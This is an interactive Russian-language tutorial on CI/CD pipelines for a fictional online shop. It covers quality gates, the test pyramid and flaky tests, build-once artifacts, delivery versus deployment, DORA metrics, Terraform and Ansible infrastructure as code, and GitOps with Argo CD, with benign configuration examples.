    В пятницу Борис пропустил тесты, собрал программу на ноутбуке и проверил её руками в проде. Конвейер делает то же самое, но по-другому: каждый шаг автоматический, одинаковый и может остановить выкатку.

    автозавод. Кузов едет по ленте от поста к посту: сварка, покраска, двигатель, салон. После каждого поста стоит контролёр ОТК — отдела технического контроля. Нашёл брак сварки — кузов не едет в покраску: красить кривой кузов дорого и бессмысленно. Чем раньше найден брак, тем дешевле его исправить.
    Стадия (stage) — один пост конвейера с одной задачей: собрать, протестировать, просканировать, выкатить.
    Ворота качества (quality gate) — правило на выходе стадии: «дальше пускаем, только если…». Например: все тесты зелёные; нет уязвимостей уровня CRITICAL; покрытие новых строк тестами не меньше 80 %.
    Артефакт (artifact) — результат сборки, который дальше не меняется: jar-файл, образ контейнера, пакет. По конвейеру едет именно он, а не исходники.
    Андон (andon) — на заводах Toyota над линией натянут шнур. Любой рабочий, заметив брак, дёргает его: линия останавливается, загорается табло, к посту идут мастера. В конвейере то же правило: стадия упала — дальше не едем, а команда чинит главную ветку раньше, чем берётся за новые задачи.

    Одиннадцать постов «Ботинка»: пройдите по ленте

    Нажимайте на стадии по очереди. Для каждой — что она делает, какой брак ловит, сколько идёт, чем её делают и на что она похожа на автозаводе.

    Почему стадии идут именно в таком порядке

    Сначала дешёвое и быстрое

    Сборка и юнит-тесты идут минуты и ловят большую часть ошибок. Интеграционные тесты и стенд — дороже и дольше. Если код даже не компилируется, запускать базу в контейнере незачем. Это называют «падай быстро» (fail fast).

    Проверки как можно левее

    Чем раньше (левее на ленте) найдена ошибка, тем она дешевле. Ошибку в юнит-тесте разработчик чинит за 10 минут, пока помнит код. Та же ошибка, найденная покупателем, стоит инцидента, отката и репутации. Этот принцип называют «сдвиг влево» (shift left).

    Артефакт — один

    Образ собирается один раз, на пятом посту. Дальше едет именно он: сканируется, тестируется, выкатывается. Никто его не пересобирает «для прода». Почему это важно — глава 6.

    Правила андона для команды. 1) Главная ветка покраснела — это задача номер один для всей команды, а не только для автора. 2) Не чинится за 10–15 минут — откатываем коммит (git revert) и чиним спокойно. 3) Поверх красной ветки новые правки не вливаем: иначе непонятно, чья правка что сломала. 4) Отключать упавшую проверку, «чтобы не мешала», нельзя. Это как заклеить скотчем лампочку «проверьте двигатель».

    глава 4 · живой конвейер конвейер, который можно ломать и ускорять

    Прошло два месяца. У «Ботинка» теперь есть конвейер из тех самых одиннадцати постов. Борис сделал правку: скидка «Чёрная пятница» −20 % — коммит a3f9c1e. Нажмите «▶ Запустить конвейер» и посмотрите, как коммит едет по ленте. Время в модели идёт примерно в 150 раз быстрее настоящего.

    Потом включайте поломки и ускорители. Поломки и ускорители учитываются со следующего запуска. Смотрите, где остановится конвейер, сколько он шёл и что в итоге окажется в проде.

    ⚪ линия стоит
    a3f9c1e
    журнал конвейера
    история запусков
    Как читать схему. Плашка с номером коммита едет по ленте. Синяя рамка — стадия идёт, зелёная — прошла, красная — упала, серые — не запускались. Пунктирная жёлтая рамка у «Прода» — ворота: конвейер довёз артефакт и ждёт решения человека. Под каждой стадией — сколько она шла.
    Что вы увидите. «Сломать тест» — конвейер встанет на третьей стадии через 7 минут, и до прода ничего не доедет. «Уязвимость» — код правильный, но в образе опасная библиотека: встанет на скане. «Flaky» — один и тот же коммит то проходит, то падает. Попробуйте запустить несколько раз подряд. Кеш и распараллеливание сократят путь с 26 до 11 минут. А кнопка «Выкатить в прод» работает только при зелёных воротах.
    Что заложено в модель. Время стадий взято близким к типичному для сервиса на Java среднего размера: сборка 3 минуты (с кешем зависимостей — 0,8), юнит-тесты 4 минуты (на четырёх исполнителях — 1), образ 3 минуты (с кешем слоёв — 0,5), интеграционные тесты 6 минут (параллельно — 2), сквозные 5 минут (параллельно — 1,7). Flaky-тест падает в половине запусков — случайно, как в жизни.

    глава 5 · тесты и скорость пирамида тестов, нестабильные тесты и конвейер за десять минут

    В пятницу Борис пропустил тесты: «идут 40 минут, и два всё равно красные уже месяц». Это две настоящие болезни: медленные тесты и тесты, которым не верят. Разберём обе.

    Пирамида тестов (test pyramid) — правило о пропорциях. Внизу много быстрых маленьких тестов. В середине меньше тестов, которые проверяют связку частей. Наверху совсем немного медленных тестов «через весь магазин». Идею популяризировал Майк Кон в книге «Scrum. Гибкая разработка ПО» (Succeeding with Agile, 2009).
    проверка ресторана. Повар пробует каждый соус — быстро и много раз в день. Шеф проверяет собранное блюдо перед выдачей. Тайный покупатель раз в месяц проходит весь путь от бронирования до счёта. Если вместо этого каждый вечер присылать тайного покупателя, а соусы не пробовать, выйдет дорого и медленно. И всё равно непонятно, что именно пересолено.

    🧪 Юнит-тест

    Проверяет одну функцию или класс, без сети, базы и диска. Идёт миллисекунды. Пример: «скидка 20 % от 4 990 ₽ — это 3 992 ₽». Когда падает, сразу ясно, где ошибка.

    🔗 Интеграционный тест

    Проверяет код вместе с настоящей базой, брокером или файловой системой, которые поднимаются в контейнерах (например, библиотекой Testcontainers). Идёт секунды. Ловит ошибки в SQL, в настройках, в преобразовании данных.

    🤝 Контрактный тест

    Проверяет договор между сервисами: «сервис доставки ждёт в заказе поле weight_g — оно есть». Позволяет не поднимать соседа целиком. Популярный инструмент — Pact. Подробнее о договорах — в разделе .

    🌐 Сквозной тест (e2e) и смоук

    Сквозной (end-to-end) проходит путь пользователя через браузер или API: каталог → корзина → оплата. Идёт десятки секунд, хрупкий. Смоук-тест («дымовой») — самый короткий набор: «включилось и не дымит». Его гоняют сразу после каждой выкатки.

    Нестабильные тесты: пожарная тревога от чайника

    Нестабильный тест (flaky test) — тест, который на одном и том же коде то проходит, то падает. Причины обычно такие: зависимость от времени и таймаутов; порядок выполнения; общие данные между тестами; сеть; случайные числа; асинхронный код, где проверку делают раньше, чем закончилась работа.
    пожарная сигнализация, которая срабатывает от чайника. Через неделю на неё перестают реагировать. А в день настоящего пожара все спокойно пьют чай.

    Проблема не в одном тесте, а в математике. Пусть каждый нестабильный тест падает всего в 5 % запусков. Если таких тестов 14, вероятность, что хоть один упадёт, — 1 − 0,9514 ≈ 51 %. Половина запусков конвейера красная без единой ошибки в коде. Команда привыкает жать «перезапустить», и красный цвет перестаёт что-либо значить. Масштаб беды известен: в Google в 2016 году посчитали, что около 1,5 % всех прогонов тестов давали нестабильный результат, а почти 16 % тестов хотя бы иногда вели себя нестабильно.

    Калькулятор: соберите быстрый и честный набор тестов

    Задайте, сколько тестов каждого вида, какая доля интеграционных и сквозных нестабильна и на скольких исполнителях гоняем. Цель: конвейер до 10 минут и ложная тревога не чаще 1 запуска из 20.

    800
    300
    120
    3 %
    1
    Время конвейера: — Ложная тревога: — Нестабильных тестов: —
    Что заложено в модель. Юнит-тест — 0,03 с, интеграционный — 2 с (с подъёмом контейнеров), сквозной — 15 с. Сборка — 4 минуты, с кешем — 1. Каждый дополнительный исполнитель добавляет полминуты на запуск. Нестабильный тест падает в 5 % запусков. Карантин — нестабильные тесты гоняются отдельно и не блокируют конвейер.

    Как лечить нестабильные тесты

    1. Заметить

    Система CI помечает тест, который на одном коммите и упал, и прошёл. Ведётся список нестабильных с частотой падений. Без списка всё держится на ощущениях: «этот вроде часто падает».

    2. Изолировать

    Карантин: тест переезжает в отдельный набор, который гоняется, но не блокирует конвейер. У каждого теста в карантине есть владелец и срок. Карантин без срока — это кладбище.

    3. Починить причину

    Вместо «подождать 5 секунд» — ждать событие. Каждый тест создаёт свои данные. Время подменяется управляемыми часами. Автоматический перезапуск упавших тестов допустим только временно и всегда с учётом.

    Семь способов ускорить конвейер

    Нажмите на пункт, чтобы раскрыть.

    Ориентир по времени. В книге «Непрерывное развёртывание ПО» (Continuous Delivery) Джез Хамбл и Дэвид Фарли пишут: первая стадия конвейера — сборка и быстрые тесты — в идеале должна укладываться в 5 минут и точно не дольше 10. Причина психологическая. Если ответ приходит через 10 минут, разработчик ещё помнит, что менял. Через 40 минут он уже в другой задаче, и красный конвейер будет висеть до вечера.

    глава 6 · артефакт собери один раз — выкатывай везде

    В пятницу Борис собрал программу на своём ноутбуке с Java 21, а на сервере стояла Java 17. Лекарство — два правила. Собирает всегда конвейер, в чистом одинаковом окружении. А в каждую среду едет один и тот же собранный артефакт.

    Собери один раз — выкатывай везде (build once, deploy many) — артефакт собирается один раз. На тестовую среду, на стенд и в прод едет ровно он, байт в байт. Среды отличаются только настройками, которые подаются снаружи.
    лекарства. Таблетки делают на заводе одной партией с номером. В аптеку Москвы и в аптеку Казани едут коробки из одной партии, отличается только ценник. Если бы каждая аптека «допекала» таблетки сама по рецепту, одинаковыми они были бы только на бумаге.
    Отпечаток образа (digest) — хеш SHA-256 от содержимого образа контейнера. Меняется хоть один байт — меняется отпечаток. Тег (:1.8.0, :latest) — это бирка, которую можно перевесить на другой образ. Отпечаток перевесить нельзя. Поэтому в прод катят по отпечатку. Как устроены образы и слои — в разделе .
    # по тегу — «какой-то образ, на который сейчас указывает бирка 1.8.0»
    ghcr.io/botinok/shop:1.8.0
    # по отпечатку — «ровно вот этот образ, и никакой другой»
    ghcr.io/botinok/shop@sha256:9c1e7f04b2a3d85e61c0f9a4b7d2e3c1a8f60b5d4e7c2a91f3b8d06e5c4b4b7a

    Проверьте сами: пересобирать на каждой среде или один раз

    В «Ботинке» в файле сборки версия одной библиотеки указана диапазоном 2.+ — «любая 2.x, самая свежая». Выберите подход и посмотрите, что уехало в каждую среду.

    Среды: зачем их столько

    Среда (окружение, environment) — отдельная полная копия системы со своими серверами, базой и настройками. Код в разных средах один и тот же, различаются данные, масштаб и то, кто ими пользуется.
    СредаЗачемКто пользуетсяДанныеПохожа на прод
    devРазработчик смотрит, работает ли идеяРазработчикиВыдуманныеСлабо
    testАвтотесты и ручная проверка функцииКонвейер, тестировщикиТестовые наборыЧастично
    временнаяОтдельная копия под один запрос на слияниеАвтор, ревьюер, аналитикТестовые наборыЧастично
    stage (стенд, предпрод)Последняя проверка перед продом: выкатка, миграции, сквозные тестыКонвейер, команда, иногда заказчикОбезличенная копия продаМаксимально
    prodНастоящие покупатели и деньгиАннаНастоящие—
    Временное окружение (ephemeral, preview environment) — среда, которую конвейер поднимает на каждый запрос на слияние и удаляет после слияния. У неё свой адрес вроде pr-482.preview.botinok.ru. Аналитик Олег может открыть ссылку и проверить функцию до того, как она попала в main. И никто не стоит в очереди «на тестовый стенд».
    примерочная в магазине одежды. Вы меряете вещь в своей кабинке, а не выходите в ней в зал, чтобы все посмотрели. Кабинку потом освобождают для следующего.
    Самая частая беда — стенд не похож на прод. На стенде PostgreSQL 15, в проде 16. На стенде одна копия сервиса, в проде двенадцать и балансировщик. На стенде нет сетевых правил. Тогда «на стенде всё работало» ничего не значит. Лекарство — описывать все среды одним кодом инфраструктуры с разными параметрами (глава 10).

    Конфигурация — снаружи образа

    Если образ один на все среды, адрес базы и пароли в нём лежать не могут: они в каждой среде свои. Правило из известного набора принципов «Приложение двенадцати факторов» (The Twelve-Factor App): конфигурация хранится в окружении, а не в коде. Образ получает её при запуске: из переменных окружения, файлов настроек, хранилища секретов. Потренируйтесь: разложите, что куда.

    Решено 0 из 0.

    глава 7 · доставка непрерывная доставка или непрерывное развёртывание: кто нажимает кнопку

    Аббревиатуру CD расшифровывают двумя разными способами, и их постоянно путают. Разница — ровно в одном месте конвейера: в последних воротах перед продом.

    Непрерывная доставка (Continuous Delivery) — каждая правка, прошедшая конвейер, готова к проду. Выкатка занимает одну кнопку. Но нажимает её человек, когда решит: владелец продукта, дежурный, команда.
    Непрерывное развёртывание (Continuous Deployment) — каждая правка, прошедшая конвейер, сама уезжает в прод. Людей в цепочке после ревью кода нет. Страховку дают автоматические ворота: тесты, канарейка, автооткат.
    печать газеты. При непрерывной доставке номер свёрстан, вычитан и лежит в типографии — главный редактор говорит «печатаем». При непрерывном развёртывании каждая заметка, прошедшая корректора, сразу появляется на сайте.

    Сравните три режима

    Переключайте режимы. Зелёная рамка — шаг делает автоматика, жёлтая пунктирная — человек, серая — шаг не автоматизирован вовсе.

    Ворота: автоматические и ручные

    Автоматические ворота — проверку делает программа по правилу: тесты зелёные, критичных уязвимостей нет, ошибок у канарейки не больше, чем у старой версии. Ручные ворота — нужно явное «да» человека: одобрение выкатки, согласование окна изменений.
    ВоротаТипПравилоГде стоят
    Ревью кодаручные, но их обязательность проверяет платформаОдобрение второго человека; без него кнопка слияния не работаетВход в main
    Тесты и анализавтоматическиеВсе тесты зелёные, новых блокирующих замечаний нетСтадии 2–4, 7
    Скан уязвимостейавтоматическиеНет уязвимостей CRITICAL; исключение — только записанное, с владельцем и срокомСтадия 6
    Одобрение выкаткиручныеДежурный или владелец продукта нажал «выкатить»Перед продом (доставка)
    Метрики канарейкиавтоматическиеДоля ошибок и задержка у новой версии не хуже старой; иначе автооткатВ проде — см.
    Заморозка измененийправило-расписаниеВ «Чёрную пятницу» с 00:00 до 23:59 выкатки в прод запрещены, кроме аварийныхПеред продом
    Комитет по изменениям — не страховка. Во многих компаниях каждое изменение утверждает комитет раз в неделю (CAB, change advisory board). Исследования DORA, описанные в книге «Accelerate» (2018), показали: согласование внешним комитетом не снижает долю неудачных изменений, но замедляет доставку. Лучше работают ревью коллегой плюс автоматические проверки. Там, где регулятор требует «принципа четырёх глаз», это требование закрывается обязательным ревью в запросе на слияние и ручными воротами перед продом, а не еженедельным совещанием.
    Когда ручные ворота уместны. Мобильное приложение (магазин приложений всё равно проверяет сборку сам). Изменения, о которых надо заранее предупредить клиентов или поддержку. Большие маркетинговые запуски, где время включения выбирает бизнес. Но и здесь выкатку кода обычно отделяют от включения функции флагом: код доезжает автоматически, а человек только включает флаг.
    Как это звучит в требованиях. «Любая правка, влитая в main и прошедшая конвейер, доступна для выкатки в прод в течение 30 минут. Выкатку в прод запускает дежурный инженер или владелец продукта одной кнопкой; запуск фиксируется в журнале с именем и временем. В периоды заморозки изменений конвейер блокирует выкатку в прод, кроме аварийных исправлений с отдельным одобрением».

    глава 8 · метрики DORA как понять, что стало лучше, — пять цифр вместо ощущений

    Два месяца назад «Ботинок» выпускался раз в три недели. Теперь — несколько раз в день. Лучше ли стало на самом деле? Для ответа есть общепринятый набор метрик.

    DORA (DevOps Research and Assessment) — исследовательская программа, с 2018 года — часть Google Cloud. Ежегодно она опрашивает тысячи команд и публикует отчёт о том, какие практики связаны с хорошей доставкой ПО. Основатели описали выводы в книге «Accelerate» (2018; на русском — «Ускоряйся!»).
    анализ крови. Пять показателей не описывают всё здоровье, но по ним видно, где копать. И подгонять анализ бессмысленно: если выпить литр воды перед сдачей, лечиться всё равно придётся.
    МетрикаЧто измеряетКак считать в «Ботинке»Группа
    Время внесения изменений (change lead time)Сколько проходит от коммита до выкатки этого коммита в продМедиана «время выкатки − время коммита» по всем коммитам за месяцскорость
    Частота выкаток (deployment frequency)Как часто выкатываем в продЧисло выкаток в прод за неделюскорость
    Время восстановления после неудачной выкатки (failed deployment recovery time)Сколько времени чиним, если выкатка сломала продОт выкатки, после которой открыли инцидент, до восстановления (откат или исправление)скорость
    Доля неудачных изменений (change fail rate)Какая часть выкаток потребовала срочного вмешательстваВыкатки с откатом или срочной починкой ÷ все выкаткистабильность
    Доля вынужденных выкаток (deployment rework rate)Какая часть выкаток — незапланированные, сделанные из-за инцидента в продеСрочные выкатки-починки ÷ все выкаткистабильность
    Как менялся набор. Сначала метрик было четыре. В отчёте 2023 года «время восстановления сервиса» заменили на «время восстановления после неудачной выкатки». Так метрика измеряет именно доставку, а не любые аварии вроде отключения дата-центра. В отчёте 2024 года добавили пятую — долю вынужденных выкаток — и разделили метрики на «скорость» (throughput) и «нестабильность» (instability). В отчёте 2025 года (State of AI-assisted Software Development) вместо четырёх уровней «элита / высокий / средний / низкий» описаны семь типов команд по восьми измерениям, включая трение в работе и выгорание. Ниже для ориентира — уровни из отчёта 2024 года.

    Калькулятор: где ваша команда

    Выставьте значения для своей команды — или для «Ботинка» до и после конвейера. Калькулятор покажет уровень каждой метрики по ориентирам отчёта 2024 года и подскажет, с чего начать.

    —
    —
    —
    35 %
    20 %
    Ориентиры отчёта DORA 2024. Элита: выкатка по требованию (несколько раз в день), от коммита до прода меньше суток, около 5 % неудачных изменений, восстановление меньше часа. Высокий уровень: от раза в день до раза в неделю, от суток до недели, около 20 %, меньше суток. Средний: от раза в неделю до раза в месяц, от недели до месяца, около 10 %, меньше суток. Низкий: от раза в месяц до раза в полгода, от месяца до полугода, около 40 %, от недели до месяца. Да, у среднего уровня доля неудач в 2024 году оказалась ниже, чем у высокого. Авторы отчёта сами отметили это как необычный результат.
    Метрики — для команды, а не для премий. Закон Гудхарта: когда показатель становится целью, он перестаёт быть хорошим показателем. Сделайте частоту выкаток KPI — появятся пустые выкатки. Сделайте долю неудач KPI — инциденты перестанут связывать с выкатками. DORA прямо предупреждает: не сравнивайте по этим цифрам разные команды. Сравнивайте команду с ней же самой полгода назад.

    глава 9 · инструменты чем строят конвейеры и как читать файл конвейера построчно

    Конвейер — это файл в репозитории рядом с кодом. Его правят через тот же запрос на слияние, у него есть история. Сам файл исполняет система CI/CD. Самые распространённые — четыре. Нажмите на строку, чтобы раскрыть подробности.

    Что общего у всех. Событие (коммит, запрос на слияние, расписание) запускает конвейер. Конвейер состоит из заданий (jobs), задания — из шагов. Задания выполняются на исполнителях. У каждого задания есть зависимости («после тестов»), условия («только для main»), секреты и артефакты на выходе. Выучив один инструмент, остальные читаешь со словарём.

    Конвейер «Ботинка» на GitHub Actions: кликайте по строкам

    Слева — настоящий по форме файл .github/workflows/shop.yml. Нажмите на любую строку: справа появится объяснение, а связанные строки подсветятся. Номер строки становится цветным, когда вы её уже разобрали. Кнопки «← →» ведут по блокам по порядку.

    Версии действий меняются. Номера вроде @v7 — актуальные на момент написания. В промышленных конвейерах сторонние действия закрепляют не по тегу, а по полному хешу коммита: uses: actions/checkout@<40 символов SHA> # v7. Тег владелец действия может перевесить на другой код, хеш — нет. Обновления тогда предлагает бот (Dependabot или Renovate).

    То же самое на GitLab CI — для сравнения

    Слова другие, смысл тот же: стадии, задания, условия, среды, ручной запуск прода.

    # .gitlab-ci.yml
    stages: [test, image, deploy]
    
    test:
      stage: test
      image: eclipse-temurin:21
      parallel: 4                      # 4 копии задания; номер копии — в $CI_NODE_INDEX
      script: ./gradlew check -Pshard=$CI_NODE_INDEX/$CI_NODE_TOTAL
      cache:
        key:
          files: [gradle.lockfile]     # ключ кеша меняется, только когда меняются зависимости
        paths: [.gradle/caches]
    
    build-image:                       # не «image»: это слово в GitLab занято настройкой образа
      stage: image
      rules:
        - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
      script: ./ci/build-and-push.sh $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA
    
    deploy-prod:
      stage: deploy
      environment: production
      when: manual                     # ручные ворота: кнопка «▶» в интерфейсе
      script: ./ci/bump-gitops.sh prod
    Проще говоря. Файл конвейера — это такая же часть продукта, как код. Его ревьюят, в нём ищут ошибки, у него есть владелец. Аналитику полезно уметь его читать: по нему видно, какие проверки реально стоят между коммитом и Анной, а какие только обещаны в документации.

    глава 10 · инфраструктура как код серверы, которые описаны текстом, а не памятью

    В пятницу выяснилось: shop-2 когда-то настроил уволившийся коллега, и на нём нет нужной переменной. А shop-1 Борис «быстренько» перенастроил руками. Три сервера должны быть одинаковыми, а на деле каждый уникален. У этой болезни два имени.

    Сервер-снежинка (snowflake server) — сервер, настроенный руками, уникальный, как снежинка. Никто точно не знает, что на нём сделано. Воспроизвести его нельзя, пересоздать страшно.
    бабушкин пирог «на глазок». Вкусно, но повторить никто не может. А когда бабушка уехала на дачу, праздника нет.
    Дрейф конфигурации (configuration drift) — реальность разошлась с описанием, потому что кто-то поменял что-то руками. «На минутку открыл порт», «ночью увеличил машину, чтобы пережить нагрузку» — и забыл вернуть и записать.
    Инфраструктура как код (Infrastructure as Code, IaC) — серверы, сети, базы, балансировщики и права доступа описаны текстовыми файлами в Git. Специальная программа приводит облако к этому описанию. Изменения проходят через ревью и конвейер, как обычный код.
    чертёж дома вместо устных указаний прорабу. По чертежу можно построить второй такой же дом, найти ошибку до стройки и понять, чем отличается ваш дом от соседского. А «сделай, как в прошлый раз» зависит от того, что прораб запомнил.

    Два способа описать: «что должно быть» или «что сделать»

    Декларативный подход — описываем желаемый результат: «должно быть 3 машины такого-то размера». Инструмент сам вычисляет, что сделать, чтобы стало так. Императивный — описываем шаги: «создай машину, потом ещё одну, потом третью».
    такси. Можно назвать адрес — водитель сам построит маршрут, даже если дорогу перекрыли. А можно диктовать: «налево, прямо, направо». Если одна машина уже стоит у подъезда, команда «создай три» даст четыре. Адрес же один: «чтобы у подъезда стояло три».

    Императивно: скрипт

    cloud vm create shop-1 --type t3.medium
    cloud vm create shop-2 --type t3.medium
    cloud vm create shop-3 --type t3.medium
    # запустили второй раз — ошибка «уже есть»
    # или шесть машин вместо трёх

    Декларативно: описание

    resource "aws_instance" "shop" {
      count         = 3
      instance_type = "t3.medium"
    }
    # запустили второй раз — «изменений нет»
    Идемпотентность — свойство операции: повторный запуск с теми же данными ничего не меняет. Декларативные инструменты идемпотентны: они сравнивают «что есть» с «что надо» и делают только разницу.

    Terraform и OpenTofu

    Самый распространённый декларативный инструмент — Terraform. Его создала компания HashiCorp в 2014 году. В августе 2023 года HashiCorp сменила лицензию на Business Source License 1.1: она ограничивает использование в конкурирующих продуктах. В ответ сообщество сделало открытый форк — OpenTofu. Им управляет Linux Foundation, а в апреле 2025 года проект вошёл в CNCF (фонд облачных технологий). Язык описания — HCL — и основные команды у них совпадают: вместо terraform plan пишут tofu plan. Различия понемногу накапливаются: например, OpenTofu умеет сам шифровать файл состояния, начиная с версии 1.7. В 2025 году HashiCorp стала частью IBM. Дальше пишем «Terraform», но всё относится к обоим.

    Провайдер (provider)

    Плагин, который умеет говорить с API конкретного облака или сервиса. Свои провайдеры есть у AWS, Яндекс Облака, VK Cloud, Kubernetes, GitHub. Сам Terraform про облака ничего не знает.

    Ресурс (resource)

    Одна вещь в облаке: виртуальная машина, база, бакет для файлов, правило сети. У ресурса есть тип (aws_instance) и имя в коде (shop).

    Переменная и выход

    Переменная (variable) — параметр, которым отличаются среды: на стенде одна копия, в проде четыре. Выход (output) — значение, которое код отдаёт наружу: например, адрес базы.

    Состояние (state)

    Файл, где Terraform помнит, какой ресурс в коде соответствует какому объекту в облаке и какие параметры были при последнем применении. Без state он не знает, что «shop[1]» — это машина i-0….

    Бэкенд и блокировка

    State хранят не на ноутбуке, а в общем хранилище — бэкенде. Пока один запуск меняет инфраструктуру, он держит замок (state lock), и второй запуск ждёт. Иначе двое одновременно испортят state.

    plan → apply и модули

    plan показывает, что изменится, и ничего не трогает. apply выполняет. Модуль (module) — переиспользуемый набор ресурсов с параметрами: «сеть», «сервис с базой». Из одного модуля собирают и стенд, и прод.

    Описание инфраструктуры «Ботинка»: кликайте по строкам

    Почему пример на AWS. Это самый распространённый провайдер, и по нему больше всего документации. В Яндекс Облаке и VK Cloud ресурсы называются по-другому (например, yandex_compute_instance), но устройство то же: провайдер, ресурсы, переменные, state, plan и apply.

    Тренажёр: plan, apply и дрейф

    Слева — код (что хотим). Посередине — state (что Terraform помнит). Справа — облако (что есть на самом деле). Меняйте код, жмите plan, читайте план и жмите apply. Потом нажмите «Кто-то поменял руками» и посмотрите, как Terraform заметит дрейф. Каждое нажатие — новый вид ручной правки.

    Код: что хотим

    3
    instance_type — размер машины
    shop_ami — образ машины
    allocated_storage — диск базы, ГБ
    бакет для фото товаров

    Команды

    В настоящем конвейере это выглядит так: на запрос на слияние конвейер делает plan и публикует его в комментарии. Ревьюер читает план, а не только код. После слияния конвейер применяет ровно этот сохранённый план: terraform plan -out=tfplan → ревью → terraform apply tfplan.

    
        
    Как читать план. + — создать. ~ — изменить на месте. - — удалить. -/+ — удалить и создать заново: поменяли параметр, который нельзя изменить у живого ресурса. Последняя строка — итог: сколько добавить, изменить и удалить. Читайте итог первым делом. «3 to destroy» в плане, где вы меняли только тег, — повод остановиться.
    Опасности state. В state атрибуты ресурсов лежат открытым текстом, иногда вместе с паролями. Поэтому: бэкенд с шифрованием и строгим доступом; state никогда не коммитят в Git; руками его не правят. Для переименований и переносов есть команды (terraform state mv, блоки moved и import). В примере выше пароль базы вообще не попадает в код: manage_master_user_password = true отдаёт его облачному хранилищу секретов.

    Terraform — не единственный инструмент

    Нажмите на строку, чтобы раскрыть.

    Ansible: как выглядит «настроить сервер»

    # playbook.yml — Ansible заходит на серверы группы shop по SSH
    - name: Настроить веб-серверы магазина
      hosts: shop
      become: true                       # выполнять с правами администратора
      tasks:
        - name: Установить nginx
          ansible.builtin.apt:
            name: nginx
            state: present               # «должен быть установлен»: уже стоит — ничего не делаем
        - name: Положить конфигурацию
          ansible.builtin.template:
            src: shop.conf.j2
            dest: /etc/nginx/conf.d/shop.conf
          notify: reload nginx           # перечитать настройки, только если файл изменился
      handlers:
        - name: reload nginx
          ansible.builtin.service:
            name: nginx
            state: reloaded
    Неизменяемая инфраструктура (immutable infrastructure) — сервер после создания не меняют. Нужна правка — собирают новый образ машины или контейнера и заменяют старые экземпляры новыми. Дрейфу неоткуда взяться: руками никто ничего не донастраивает.
    «питомцы и стадо». У питомца есть кличка, его лечат, когда он болеет, и без него грустно. У стада — номера на бирках: заболевшее животное заменяют. Серверы-снежинки — питомцы. В облаке серверы должны быть стадом: shop-2 сломался — удалили и создали shop-7 по тому же описанию.
    Как это звучит в требованиях. «Вся инфраструктура сред stage и prod описана кодом в репозитории botinok-infra. Изменения — только через запрос на слияние с приложенным планом и ревью. Ручные изменения в консоли облака запрещены, кроме аварийных; аварийное изменение переносится в код в течение одного рабочего дня. Проверка дрейфа выполняется ежедневно, найденный дрейф — инцидент. Среды stage и prod собираются из одних модулей и различаются только значениями переменных».

    глава 11 · GitOps Git — пульт управления кластером

    Terraform описал облако: сети, машины, базу. Внутри стоит кластер Kubernetes, и в нём крутится магазин (как устроен кластер — в разделе ). Как доставлять в кластер новые версии? Можно, чтобы конвейер сам заходил в кластер и выполнял kubectl apply. А можно наоборот.

    GitOps — способ управлять кластером, при котором желаемое состояние всего, что в нём работает, лежит в Git. Агент внутри кластера постоянно сравнивает реальность с Git и приводит её к Git. Хотите изменить кластер — меняете Git.
    термостат. Вы задали 22 °C. Кто-то открыл окно, стало 18. Термостат не спорит и ничего не спрашивает: он включает батарею, пока снова не станет 22. Хотите 20 — меняете настройку термостата, а не держите окно открытым.
    Сверка (reconciliation loop) — бесконечный цикл агента: прочитать желаемое из Git → посмотреть, что в кластере → устранить разницу → подождать → повторить. Argo CD по умолчанию сверяется каждые 3 минуты, а по уведомлению от Git — сразу.

    Четыре принципа GitOps

    Их сформулировала рабочая группа OpenGitOps при CNCF.

    1. Декларативно

    Желаемое состояние описано как результат («4 копии магазина версии 1.8»), а не как последовательность команд.

    2. С версиями и неизменно

    Описание хранится так, что каждая версия неизменна и есть полная история: кто, когда и зачем поменял. Git подходит идеально.

    3. Вытягивается автоматически

    Агент сам забирает описание из хранилища (pull). Никто снаружи не «толкает» изменения в кластер.

    4. Сверяется непрерывно

    Агент постоянно сравнивает реальность с описанием и устраняет разницу. Ручная правка в кластере живёт до следующей сверки.

    Push: конвейер толкаетPull: агент вытягивает (GitOps)
    Кто меняет кластерЗадание CI выполняет kubectl или helmАгент внутри кластера (Argo CD, Flux)
    Где ключи от кластераВ секретах CI — снаружи кластераВнутри кластера; наружу не выдаются
    Ручная правка в кластереОстаётся до следующей выкатки, никто не знаетВидна сразу («OutOfSync»), откатывается при сверке
    ОткатПерезапуск старого конвейера, если он ещё естьgit revert
    Что видно в GitНе всё: часть параметров живёт в конвейереПолное состояние кластера

    Тренажёр: петля GitOps

    Слева — репозиторий конфигурации botinok-deploy. Посередине — агент Argo CD. Справа — кластер с подами магазина. Попробуйте три вещи. 1) Как Борис, поправьте кластер руками. 2) Выкатите через Git новую версию — она окажется сломанной. 3) Откатитесь через git revert. Потом выключите самоисправление и повторите первое.

    Что вы увидите. Ручное kubectl scale продержится одну сверку: агент увидит «1 ≠ 4» и вернёт четыре копии. Сломанная версия 1.9 не уронит магазин целиком: Kubernetes заменяет поды постепенно и не убирает больше одной старой копии из четырёх, пока новые не готовы. Откат — обычный коммит Revert "…": в истории видно, кто, когда и почему откатил. С выключенным самоисправлением ручная правка остаётся, агент лишь помечает приложение как «OutOfSync». Но новые коммиты в Git он всё равно применяет: самоисправление касается только правок в самом кластере.

    Как это описано у Argo CD

    apiVersion: argoproj.io/v1alpha1
    kind: Application                  # «приложение» Argo CD: что откуда и куда катить
    metadata:
      name: shop-prod
      namespace: argocd
    spec:
      project: default
      source:
        repoURL: https://git.botinok.example/platform/botinok-deploy.git
        targetRevision: main           # следим за веткой main
        path: prod                     # папка с манифестами прода
      destination:
        server: https://kubernetes.default.svc
        namespace: shop
      syncPolicy:
        automated:                     # применять изменения из Git без кнопки
          prune: true                  # удалить из кластера то, что удалили из Git
          selfHeal: true               # откатывать ручные правки в кластере

    Argo CD

    Проект CNCF в статусе «выпускник» (graduated, с 2022 года). Веб-интерфейс с деревом ресурсов и разницей «Git против кластера». Объект Application, порядок синхронизации волнами. Популярен у команд, которым важно видеть картину глазами.

    Flux

    Тоже выпускник CNCF с 2022 года. Набор контроллеров: один следит за источниками (Git, Helm, OCI-реестры), другие применяют Kustomize и Helm. Встроенного интерфейса нет, всё описывается ресурсами Kubernetes. Популярен в платформенных командах и для «кластер собирает себя сам».

    А секреты? В Git их класть нельзя. Для GitOps есть три распространённых способа. Sealed Secrets — в Git лежит зашифрованный секрет, расшифровать его может только контроллер в кластере. SOPS — шифрует значения в YAML-файлах ключом из облачного хранилища. External Secrets Operator — в Git лежит только ссылка «возьми пароль из Vault», а сам секрет оператор забирает из хранилища. Подробнее о секретах — в следующей главе.
